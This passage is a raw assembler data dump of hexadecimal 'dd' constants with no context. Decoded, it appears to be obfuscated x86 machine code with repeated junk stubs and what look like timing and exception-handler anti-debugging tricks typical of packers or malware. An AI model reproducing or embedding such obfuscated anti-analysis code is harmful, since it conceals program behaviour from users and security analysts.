80B39006h, 60525050h, 310F5250h dd 1FB5585Ah, 66310F61h, 5A1797BBh, 6A9058h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0E9B5A6C3h dd 13h, 0A0A8F5D8h, 93DD0458h, 5E73A8AEh, 9BCF1FAFh, 643B4037h dd 35FFh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 9ED717C3h, 0FD88B66h, 883h, 2820F00h dd 0B7000000h, 258964FBh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A9C35343h dd 95FA85CFh, 0B669BC3Dh, 85FF15B7h, 62208B1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D3C35646h, 37CF6B0Ch dd 71BD8BC4h, 5306221Ch, 1C418D29h, 6A5B0622h, 9BD8BFFh dd 0BB062203h, 0B4E8FDBh, 19F5B5FFh, 81660622h, 0FF1309CBh dd 221C3595h, 105E906h, 0B0F80000h, 0E6DF8B00h, 810F70h dd 0E4000000h, 79BD8B71h, 3C06220Eh, 0E8830F61h, 0B3000000h dd 0C8B60FC3h, 0E158589h, 9D890622h, 6220A55h, 6BAh, 0C18BF800h dd 0E8C1F88Bh, 659D8B04h, 66062213h, 8D89E2F7h, 62215A1h dd 0DE8BC82Bh, 0BD89D18Bh, 6220869h, 0BE9h, 0CBE2C000h dd 4BC1196Eh, 1CE195B6h, 9AE9h, 0D3816600h, 858B21C5h dd 47554C50h, 354DB589h, 0DE90622h, 0BA000000h, 0A683E6A2h dd 7B3E3B3Bh, 5E97867Bh, 0F07C083h, 587h, 1361BF00h, 816631CEh dd 834AD2C7h, 850F00C0h, 9, 3860Fh, 8B660000h, 0FD03BFEh dd 1283h, 5DBD8900h, 0E9062205h, 3Fh, 18E0Fh, 8BF90000h dd 0FFFFFF8Dh, 3D8D29FFh, 83062230h, 840F01E1h, 23h, 838BC780h dd 0FFFFFFA5h, 8C0FFEFFh, 2, 9589F5B3h, 47554C50h, 0AF58531h dd 0E90622h, 8D000000h, 268F9EB5h, 0DFBF0F06h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 6A4F86C3h, 33A2E91Eh, 5D9D03E3h, 0FF06221Bh, 22307595h dd 0D0B8BB06h, 800F3F28h, 6, 330DBD89h, 7B90622h, 66000011h dd 5EDFCF81h, 89FCE183h, 22149DBDh, 6AFC06h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 3613D3C3h dd 7859D8Bh, 0C02B0622h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0ACC35343h, 0CDD457FBh, 0A99D095Dh, 2B062232h dd 0ADDFB7D2h, 0E8D1C233h, 0E983D003h, 8BF47504h, 220715BDh dd 68E0F06h, 8B000000h, 2230D1BDh, 3850F06h, 0F000000h dd 880DF8BFh, 60000000h, 8168C480h, 74601D1h, 958B6178h dd 62233F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 39C35040h, 910E2CA3h, 0BC936BA0h, 0F78166E7h, 0BD8BB621h dd 6222129h, 2D318D8Bh, 8B500622h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0B8C35141h, 0ACD589BBh, 5B53120h, 83062233h dd 222C69BDh, 840F0006h, 69h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 9CC35040h, 852901B2h, 622157Dh dd 27B58D89h, 0B80622h, 0F000000h, 8D8DDFB7h, 62250B1h dd 92D9D31h, 0E1FF0622h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0F3C35646h, 0E5BD01B1h, 33062202h, 2214AD9Dh dd 0E5BD8306h, 62230h, 412840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B2E9AC3h dd 2225E99Dh, 19D8B06h, 56062215h, 28C0Fh, 0FE8B0000h dd 0E5BD835Fh, 1062230h, 3ED840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F14A7DC3h dd 0DE826B3h, 22000000h, 0D835BA4Dh, 94A25B2h, 71ECC27Fh dd 6087DB81h, 835B433Bh, 2230E5BDh, 860F0306h, 371h, 2575BD8Bh dd 0BF660622h, 6660E57Fh, 66E0F4BFh, 6AD98Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0D1C77AC3h dd 30E99D8Bh, 0E1800622h, 0FE8B6604h, 840FC90Ah, 0E0h dd 21C5BD8Bh, 858B0622h, 62210B9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0CBC35343h, 88D31FE3h, 0BFB2BE73h dd 2177BF95h, 33FBB70Fh, 2208A585h, 0A9BD8906h, 5006221Dh dd 9E9h, 3C8A4900h, 0E0845BDDh, 489894Ch, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0E5BF66ADh, 6A006A67h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 7291C351h, 0BBCE905Dh dd 0F9B70FF0h, 0BF981A68h, 0B8D0F9Fh, 50000000h, 0DA8B6652h dd 0BBB7310Fh, 481585Ah, 5F6BE524h, 75850160h, 0FF062206h dd 221E9195h, 0EB858906h, 660625CAh, 0E96FB9BBh, 1EBh dd 6880Fh, 0DF810000h, 7B77CA6Bh, 0CAE3858Bh, 3570625h dd 2231419Dh, 0C75B06h, 18h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 59C35141h, 93154BDEh, 11159D33h dd 0BF0F0622h, 0E7B58BFEh, 8B0625CAh, 220A6585h, 85295006h dd 62213BDh, 0D18D895Bh, 89062230h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8BA53658h dd 22007D9Dh, 8C0F6006h, 4, 0B19BBA66h, 8961C68Bh, 2214698Dh dd 0B9858B06h, 89062210h, 220B0185h, 4468906h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5AC35343h, 8602FCA7h dd 0D98B9D08h, 52505096h, 310F76B3h, 14E8h, 0E2BBD000h dd 0F11B9F04h, 0F6F63540h, 932A0331h, 548F814Dh, 5B6160ABh dd 6696585Ah, 72EED781h, 0CAE3B5FFh, 6A0625h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 323F68C3h dd 0F524A64h, 4E8FFBFh, 0FF000000h, 0BF001F03h, 24BFD199h dd 24448B50h, 7E804h, 0BA2E0000h, 62BB5088h, 5BDF8BF5h dd 1AB7008Bh, 4244489h, 58DE8B66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 98C35545h, 0CAEB858Dh, 6A0625h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0B7531BC3h, 0A7B6DD39h, 6840F48h, 8B000000h, 2200B59Dh dd 25BF5006h, 896FDD6Dh, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0E4F769C3h, 6800FABh dd 29000000h, 22066DB5h, 9195FF06h, 0F06221Eh, 68Ah, 0CDBD8B00h dd 6106222Fh, 0E49CBF66h, 30E585C7h, 30622h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 4BF680C3h, 0BD85296Dh, 8306221Eh, 25CAEBBDh, 840F0006h dd 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah dd 22C35343h, 0F96FB05Fh, 21E9D32Fh, 8B000000h, 2205419Dh dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0AA58589h, 0BD830622h, 62230E5h, 36850F03h dd 0E9000004h, 8, 1FA6DF0Ah, 0BF00F3BCh, 0A6C78166h, 0EBBD83CEh dd 625CAh, 417840Fh, 0B5FF0000h, 625CAEBh, 8F18529h, 95FF0622h dd 6221DCDh, 12CB8166h, 0DFB58BE0h, 6A0625CAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 6F9CC356h, 0C7F84DB5h, 1000106h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BEB1C8Ch dd 2233399Dh, 0EE89606h, 33000000h, 0D08BD3B0h, 3FE22CB7h dd 353668CCh, 5F92B38Ch, 9E86050h, 3B000000h, 177BCAE1h dd 607B0DACh, 0D38B6659h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CDF19EC3h, 229BD8Bh dd 0B5FF0622h, 625CAEBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 60C35242h, 0FBB8502Fh, 0EE7D24D3h, 0A5958B60h dd 89062205h, 222CFDB5h, 95FF6106h, 6222541h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E8C35040h, 6D794C30h dd 2D85294Bh, 8A06221Fh, 0DFB58BFAh, 30625CAh, 22109DBDh dd 2D858B06h, 6A06221Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 7F78C353h, 9D895052h dd 6222581h, 86895F5Bh, 0C4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0B3C35343h, 958B6597h, 62233F1h dd 8419501h, 0C2830622h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 1A7776A2h, 68C0F55h, 9000000h dd 2218A9BDh, 20508906h, 11E9h, 0FA342400h, 0E967658Eh dd 2C86AE89h, 0F9ED2483h, 858D1D9Dh, 625DEBCh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C2C35545h, 14E9h dd 25977300h, 605B395Dh, 0F677F22Ah, 58D8AB80h, 403E7E0Ch dd 0B88689B8h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 6AD5C356h, 0FE800h dd 32640000h, 40581C2Bh, 0C48F71D2h, 40C18CBFh, 759589E5h dd 5F06220Eh, 0CAEBB5FFh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 91AC1BC3h, 0BBEEBFD6h dd 1E5DBD8Bh, 80510622h, 0FF5BCDCFh, 22028595h, 8E0F6006h dd 6, 3FD8D33h, 850B0622h, 62214B5h, 56509661h, 92E82ABBh dd 505F5B10h, 12E9h, 0C175BA00h, 9633670Fh, 0FBD675F1h dd 0D5B40441h, 967FECF0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 73C35141h, 45ADBBCBh, 0BD897E62h, 6221F0Dh dd 0CAEBB5FFh, 840F0625h, 6, 14AD8589h, 95FF0622h, 6221AF5h dd 13E9h, 8415C200h, 9F9034EAh, 998A9437h, 322EAA17h, 472AEFDh dd 1331BD83h, 0F000622h, 0F84h, 0E5B52900h, 50062220h dd 3489F88Bh, 0DA8B6624h, 0CAEBB5FFh, 0A9BB0625h, 0FF11A1EFh dd 221D4195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B662C41h, 0EBB5FFFEh, 6A0625CAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0BE92C352h, 0C37BA643h, 0EF8151C2h, 67C00CF5h dd 0C595FF5Bh, 6A06222Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 85C0C357h, 4BE78166h dd 0A9BD83BEh, 2062202h, 3B840Fh, 8E0F0000h, 1, 0E1858BF9h dd 23062200h, 221571BDh, 0C606h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 58C35141h, 5FD20EEFh, 0C1D52720h dd 7D85C76Fh, 62219h, 60000000h, 30119509h, 0D3810622h dd 2AD3A9F0h, 0F461E961h, 9E9FFFFh, 24000000h, 7A1668ACh dd 41E12049h, 8166C18Bh, 8D849DC3h, 222CB585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 13B9125Eh, 60DE2AB4h, 2770D381h, 6E91337h, 9B000000h dd 5CF241A1h, 0E99061F9h, 0Ah, 56C3EF83h, 2FE09D9Ah, 6650EBD0h dd 6A90FB8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 7C3CC350h, 0AD605496h, 6A2DA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B5C35646h dd 470ACB2Eh, 0BD896F73h, 622253Dh, 8DFC006Ah, 271F9C85h dd 83FC8A06h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 60492AC3h, 17ED9589h, 0B5890622h dd 622208Dh, 0F5B58961h, 90062206h, 0FE95250h, 90000000h dd 1527E025h, 5638E797h, 0BCBDE331h, 310F40E9h, 585A5F53h dd 6957BB50h, 6A901FC6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 79DC353h, 5EF98C37h dd 5BD88B56h, 0BB66006Ah, 6A0C4Eh, 18C0Fh, 0FFFC0000h dd 22355595h, 51BD8B06h, 8D062205h, 25A90F8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 8797B5D9h, 0BF66CF5Fh, 0D1FF3222h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0DAC35646h, 28EB8166h, 8343B318h dd 2200F5BDh, 850F0106h, 80h, 9E9h, 47FA1F00h, 0F8AD4563h dd 26A2F89h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0A0C35545h, 32F5BD8Bh, 0E8500622h, 7, 26E484CFh dd 0FAA2950h, 28Fh, 5B5B5000h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3075C357h dd 0A532E673h, 0BD0118FCh, 62208E1h, 28595FFh, 0BD8B0622h dd 6221E15h, 0D78E9h, 0E800h, 815D0000h, 271FA6EDh, 0F5D78106h dd 0E90D8BF1h, 7, 0E167ED52h, 8D7610BEh, 25934585h, 905B5606h dd 5DBB6650h, 0BF0F90C9h, 6DB509F8h, 64062233h, 35FFh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8B9636C3h, 2221B1BDh, 25896406h, 0 dd 85FF0DB7h, 62208B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0B6C35747h, 0D89BA281h, 0F7BF6628h, 8BFF6A93h dd 4DB5FFD8h, 6A06222Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 91AC356h, 636BD0AFh dd 89FB8B66h, 2212B1B5h, 3595FF06h, 0E906221Ch, 14Fh, 0FCDBD89h dd 0B00622h, 10F9B529h, 70E60622h, 286DBD03h, 71E40622h dd 25319589h, 613C0622h, 129830Fh, 0AE90000h, 40000000h dd 4FDE7509h, 0E92C5432h, 0C8B60FD0h, 7E9h, 0CFA16100h dd 99F81D8Dh, 6BAh, 12E85300h, 46000000h, 0BCC43E1Ah, 630E6EA6h dd 7FB21A42h, 54BD0B35h, 2D9D33C1h, 5F062227h, 0FC18B5Bh dd 82h, 4E8C100h, 13A59D89h, 0F7660622h, 6840FE2h, 89000000h dd 221F0995h, 0E9C82B06h, 0Dh, 0E5DBED9Eh, 4E07EED3h, 5CC06091h dd 79BD8B67h, 8B062224h, 0A1DB81D1h, 0E90E6048h, 9Fh, 0B6F6C781h dd 858B68BFh, 44004E49h, 875B501h, 0C0830622h, 6830F07h dd 89000000h, 2234E5BDh, 0C08306h, 10918509h, 0D03B0622h dd 20830Fh, 85890000h, 6221461h, 62E9h, 0FE800h, 0DF800000h dd 818CFF9Ch, 6434DED8h, 80E9FC24h, 8D8B5FE4h, 0FFFFFFFFh dd 7E9h, 0B6EDFB00h, 0F2F4C2B7h, 0F01E183h, 3284h, 8E800h dd 42CD0000h, 7AC04ED4h, 0DB81B5D3h, 48D75E9h, 0FFA5835Fh dd 0FEFFFFFFh, 2018589h, 95890622h, 44004E49h, 0EFD9D33h dd 0E90622h, 8D000000h, 26A0A5B5h, 3DB58906h, 0F506221Bh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 2FCEBCC3h, 0F98B141Eh, 0A3F38166h, 7595FFB1h dd 6A062230h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 47D5C351h, 5E8h, 0B66C6300h, 0B95BD570h dd 100Ah, 8019D8Bh, 0E1830622h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 810FFCA1h dd 2, 12E9B5B3h, 6D000000h, 0C1D3C657h, 0D55D297Dh, 6122946Fh dd 0D040E661h, 0BBC02B12h, 262A998Fh, 33ADD22Bh, 3E8D1C2h dd 4E983D0h, 0BD29F475h, 6221AF9h, 0DFB8B66h, 88h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 61C35141h, 44A0E49Eh dd 66E25E7Ch, 6DFCDF81h, 33F1958Bh, 9D8B0622h, 62204C9h dd 8BDE8B66h, 222D318Dh, 85895606h, 6221659h, 0C28B505Bh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 6AD9BFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0D54C4CC3h, 0FAB70FD8h, 2C69BD83h, 0F000622h, 3F84h dd 26E78000h, 0B8h, 59B9BB00h, 8D8D54D0h, 62250B1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ABC35747h, 0FE7DB4CCh dd 0FD8A2AF3h, 8D09E1FFh, 6222CA5h, 30E5BD83h, 0F000622h dd 4D184h, 15BD8B00h, 83062226h, 2230E5BDh, 840F0106h dd 4D9h, 2AE59D89h, 0BD830622h, 62230E5h, 90860F03h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0ABCFC351h, 6A60DB69h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E004C356h dd 0C53ADBCCh, 90B95100h, 89D98C66h, 222CD9BDh, 80DA8A06h dd 0BD8B04E1h, 6222C71h, 840FC90Ah, 16Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 53C35343h, 6E8409A1h dd 299030BCh, 2201AD95h, 0B9858B06h, 6A062210h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 6BD9C350h, 9589E11Ah, 62200C9h, 8A58533h, 0B5290622h dd 622270Dh, 16E8BB50h, 4895717h, 13E924h, 6EFE0000h, 0B8A62ED6h dd 0E852B41h, 87439508h, 921B2A3Bh, 6A006A23h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0D971C351h, 0E8795305h, 4, 1F03FFh, 0FE95250h, 49000000h dd 0CFB63500h, 0A94B748h, 2317184Ah, 310F97BCh, 28B0Fh dd 61600000h, 5350585Ah, 8B5F79B7h, 53042444h, 8B008B5Bh dd 244489DAh, 0C1B96004h, 6141D63Eh, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 59BD8B8Ah dd 0FF062225h, 221E9195h, 859D2306h, 8906221Fh, 25CAEB85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0BBDBFB80h, 8BA3494Fh, 2206CD9Dh, 245E906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BB5087C3h, 185B1EA2h, 0E3858B5Bh, 6A0625CAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 195C357h, 566A37F5h, 9FBF6673h, 6E997h, 69DB0000h dd 0CCDC2D2Bh, 1800C7h, 4ABB0000h, 8B20611Ch, 25CAE7B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 22255AF6h, 0EE4B1908h, 858BC24Fh, 6220A65h dd 15759D29h, 6890622h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0DDC35545h, 6EFD72F1h, 6860Fh, 9D8B0000h dd 6220E55h, 3CC78166h, 0B9858B2Dh, 6A062210h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0DBC356h, 4468997h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0DDC35040h, 48C0FE8h, 66000000h, 0B3589CBBh dd 0BB66968Bh, 6650E71Bh, 6A96D98Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3A0EC356h dd 9D337CBAh, 62200E5h, 0CAE3B5FFh, 6A0625h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 14B95DC3h dd 3A2E624Ah, 60D4915Ah, 6861C68Bh, 0E7214635h, 7E960h dd 0EC2B0000h, 70B8FF28h, 12E887h, 4B110000h, 98305466h dd 7927340Fh, 0F1C57586h, 8C385D4Ah, 5FF98B66h, 24048161h dd 18FDBDCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0B3C35141h, 89AE426Fh, 0BD897535h, 6222449h, 0CAEB858Dh dd 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0C3A563C3h, 8909A3C4h, 2202A595h, 6D852906h dd 9006220Ah, 246CBB66h, 5294BB50h, 9907412h, 222739B5h dd 9195FF06h, 6A06221Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 5B4CC352h, 61F98AF5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h dd 23DF8166h, 0E585C7DBh, 3062230h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 342DC355h, 6AD730Dh, 0BD830733h, 625CAEBh, 44840F00h dd 66000000h, 0E9EDE7BFh, 56h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 16C35040h, 0BF661CB0h, 0F606E7Eh dd 1184h, 0BE800h, 42CB0000h, 31DEDFF2h, 5DD2B47Bh, 50615B30h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 3DEE69C3h, 1021BD8Bh, 0BD230622h, 6223321h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DEC35343h dd 33337277h, 0EF773182h, 0F11B797h, 686h, 859D8900h, 8306221Fh dd 2230E5BDh, 850F0306h, 436h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0E2C35545h, 0F4BB2A1Bh, 834F1F2Eh dd 25CAEBBDh, 840F0006h, 406h, 68A0Fh, 0DB810000h, 6D67F332h dd 0CAEBB5FFh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 4B7C7FC3h, 0CD95FFA3h, 6A06221Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9BEEC350h, 0E067F604h, 0F573D509h, 259D9589h dd 0B58B0622h, 625CADFh, 68C0Fh, 95890000h, 62232CDh, 106C7h dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 6650FFC3h, 3489D88Bh, 599D8924h, 8B06221Ah dd 2210B59Dh, 0EBB5FF06h, 6A0625CAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A8ADC353h dd 4D58FF08h, 0BEDD3168h, 0FE8h, 67542B00h, 0D16B5FEh dd 54E0FCCDh, 3F315ADAh, 4195FF5Fh, 6A062225h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 66BCC356h, 0B2A8F781h, 0CADFB58Bh, 0C6BF0625h, 8B14C090h dd 221B2D85h, 0CD9D8B06h, 0F062206h, 187h, 8689F900h, 0C4h dd 0BE9h, 4F231800h, 0BC7F6321h, 0A67417D3h, 33F1958Bh dd 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 3033C9C3h, 0B70FFE21h, 8352B3FBh, 6A04C2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 939FCCC3h, 8971CB80h, 81662050h, 0F988F6EBh, 0DEBC858Dh dd 81660625h, 894C9FEFh, 0B886h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4595099Bh dd 6A062226h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8B66BC08h, 0EBB5FFDFh, 0E90625CAh dd 10h, 2C000AAAh, 8FCC74F5h, 867521E9h, 4C325779h, 28595FFh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 11E925C3h, 10000000h, 269E5314h, 4E1FA8FAh dd 38E119h, 3B18EE0Ah, 6A965096h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 2B0EC352h dd 0B800F28h, 0F000000h, 58Dh, 0EB816600h, 0B5FFB9CBh dd 625CAEBh, 0BD8FBB66h, 1AF595FFh, 6A0622h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD83D3C3h dd 6221331h, 42840F00h, 8B000000h, 221399BDh, 6E806h, 1C990000h dd 3E359826h, 2C59D8Bh, 965F0622h, 7E8h, 48859500h, 0A0AA89CDh dd 13E9h, 0B2D9A400h, 9D6F14BCh, 2D43DB63h, 0AAF77F64h dd 7788670Eh, 0D98B505Bh, 0EBB5FF96h, 660625CAh, 62C6F781h dd 1D4195FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 453E7DC3h, 0E9F5FB1Ah, 0FF22CF80h dd 25CAEBB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E923803Eh, 13h, 0F6818263h, 822255Ah dd 4FEE4B19h, 27411CC2h, 0FF5482FCh, 222FC595h, 12E906h dd 0CAD80000h, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E067F604h dd 2A9BD83h, 0F020622h, 4884h, 8BFFB700h, 2200E185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B65A61CDh, 720C0CC6h, 0DF8B668Ah, 0C6F98Ah, 8E800h dd 0FC8E0000h, 2307493Bh, 8D2940ECh, 6220911h, 7D85C75Bh dd 62219h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 1559C356h, 53596949h, 9637C14Dh dd 1EE911B3h, 8BFFFFF3h, 0B5858DC1h, 6A06222Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7C64C353h, 31BE2E7Eh, 2205699Dh, 13E95006h, 40000000h dd 5FB6C5A8h, 624793E4h, 29B6C709h, 85C82480h, 489BA0Dh dd 0DE924h, 0C1420000h, 1E80E3DEh, 59D63327h, 6A253CB2h dd 68A0F00h, 8B000000h, 222C45BDh, 8B006A06h, 2216319Dh dd 0AD858D06h, 8A06272Eh, 5C083F9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0DAC35141h, 69D6C36Fh, 4895018h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 8F8CEDC9h, 667988A9h, 723DEB81h, 0D98B006Ah dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 5C00DAC3h, 0EF80DA8Bh, 5595FFABh, 56062235h dd 0C1BD2B56h, 5B06222Fh, 0F8D8D5Fh, 8A0625A9h, 6AD1FFFAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 701EC351h, 27DB770Dh, 0BD83E126h, 62200F5h dd 5A850F01h, 8B000000h, 222CE19Dh, 57026A06h, 8E9h, 0B0061800h dd 0D980D4ACh, 60505BE6h, 800F60h, 61000000h, 10E9h, 0FFD56D00h dd 53BA7BCFh, 1520FD24h, 79899A9Ah, 4896100h, 95FFFC24h dd 6220285h, 14E9h, 0C1985200h, 26523554h, 0C3A25966h dd 0BECC551Bh, 0C80C42D5h, 0EC6E91Dh, 0E80000h, 5D000000h dd 2EB7ED81h, 6A0627h, 